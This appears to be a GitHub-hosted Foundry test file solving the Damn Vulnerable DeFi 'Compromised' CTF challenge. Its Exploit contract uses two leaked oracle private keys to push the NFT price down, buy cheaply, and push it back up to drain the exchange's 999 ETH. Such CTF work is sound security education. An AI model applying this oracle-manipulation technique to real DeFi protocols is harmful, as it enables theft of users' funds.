forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Compromised.t.sol
198 lines (167 loc) · 6.68 KB
/
Compromised.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {VmSafe} from "forge-std/Vm.sol";
import {TrustfulOracle} from "../../src/compromised/TrustfulOracle.sol";
import {TrustfulOracleInitializer} from "../../src/compromised/TrustfulOracleInitializer.sol";
import {Exchange} from "../../src/compromised/Exchange.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
contract CompromisedChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant EXCHANGE_INITIAL_ETH_BALANCE = 999 ether;
uint256 constant INITIAL_NFT_PRICE = 999 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2 ether;
address[] sources = [
0x188Ea627E3531Db590e6f1D71ED83628d1933088,
0xA417D473c40a4d42BAd35f147c21eEa7973539D8,
0xab3600bF153A316dE44827e2473056d56B774a40
];
string[] symbols = ["DVNFT", "DVNFT", "DVNFT"];
uint256[] prices = [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE];
TrustfulOracle oracle;
Exchange exchange;
DamnValuableNFT nft;
modifier checkSolved() {
_;
_isSolved();
}
function setUp() public {
startHoax(deployer);
// Initialize balance of the trusted source addresses
for (uint256 i = 0; i < sources.length; i++) {
vm.deal(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}
// Player starts with limited balance
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy the oracle and setup the trusted sources with initial prices
oracle = (new TrustfulOracleInitializer(sources, symbols, prices)).oracle();
// Deploy the exchange and get an instance to the associated ERC721 token
exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(address(oracle));
nft = exchange.token();
vm.stopPrank();
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_assertInitialState() public view {
for (uint256 i = 0; i < sources.length; i++) {
assertEq(sources[i].balance, TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(nft.owner(), address(0)); // ownership renounced
assertEq(nft.rolesOf(address(exchange)), nft.MINTER_ROLE());
}
/**
* CODE YOUR SOLUTION HERE
*/
//0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
//0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
function test_compromised() public checkSolved {
Exploit Attack=new Exploit(oracle,exchange,nft,payable(recovery));
Attack.attack{value: 0.1 ether}();
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Exchange doesn't have ETH anymore
assertEq(address(exchange).balance, 0);
// ETH was deposited into the recovery account
assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE);
// Player must not own any NFT
assertEq(nft.balanceOf(player), 0);
// NFT price didn't change
assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
}
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be
* reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract Exploit is Test{
uint256 constant EXCHANGE_INITIAL_ETH_BALANCE = 999 ether;
uint256 constant INITIAL_NFT_PRICE = 999 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2 ether;
address[] sources = [
0x188Ea627E3531Db590e6f1D71ED83628d1933088,
0xA417D473c40a4d42BAd35f147c21eEa7973539D8,
0xab3600bF153A316dE44827e2473056d56B774a40
];
string[] symbols = ["DVNFT", "DVNFT", "DVNFT"];
uint256[] prices = [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE];
TrustfulOracle oracle;
Exchange exchange;
DamnValuableNFT nft;
address payable public recovery;
constructor (TrustfulOracle _oracle,Exchange _exchange,DamnValuableNFT _nft,address payable _recovery){
oracle=_oracle;
exchange=_exchange;
nft=_nft;
recovery=_recovery;
}
function attack()public payable{
// 使用第一个私钥导入地址
uint256 privateKey1 = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
address compromisedAddress1 = vm.addr(privateKey1);
// 使用第二个私钥导入地址
uint256 privateKey2 = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
address compromisedAddress2 = vm.addr(privateKey2);
//降低价格
vm.startPrank(compromisedAddress1);
oracle.postPrice("DVNFT", 0.1 ether);
vm.stopPrank();
vm.startPrank(compromisedAddress2);
oracle.postPrice("DVNFT", 0.1 ether);
vm.stopPrank();
//购买
exchange.buyOne{value: 0.1 ether}();
//抬升价格
vm.startPrank(compromisedAddress1);
oracle.postPrice("DVNFT", 999100000000000000000);
vm.stopPrank();
vm.startPrank(compromisedAddress2);
oracle.postPrice("DVNFT", 999100000000000000000);
vm.stopPrank();
nft.approve(address(exchange), 0);
exchange.sellOne(0);
recovery.transfer(999 ether);
//恢复价格
vm.startPrank(compromisedAddress1);
oracle.postPrice("DVNFT", 999 ether);
vm.stopPrank();
vm.startPrank(compromisedAddress2);
oracle.postPrice("DVNFT", 999 ether);
vm.stopPrank();
console.log("balnce",address(exchange).balance);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4){
return this.onERC721Received.selector;
}
// fallback() external payable{}
receive() external payable {
}
}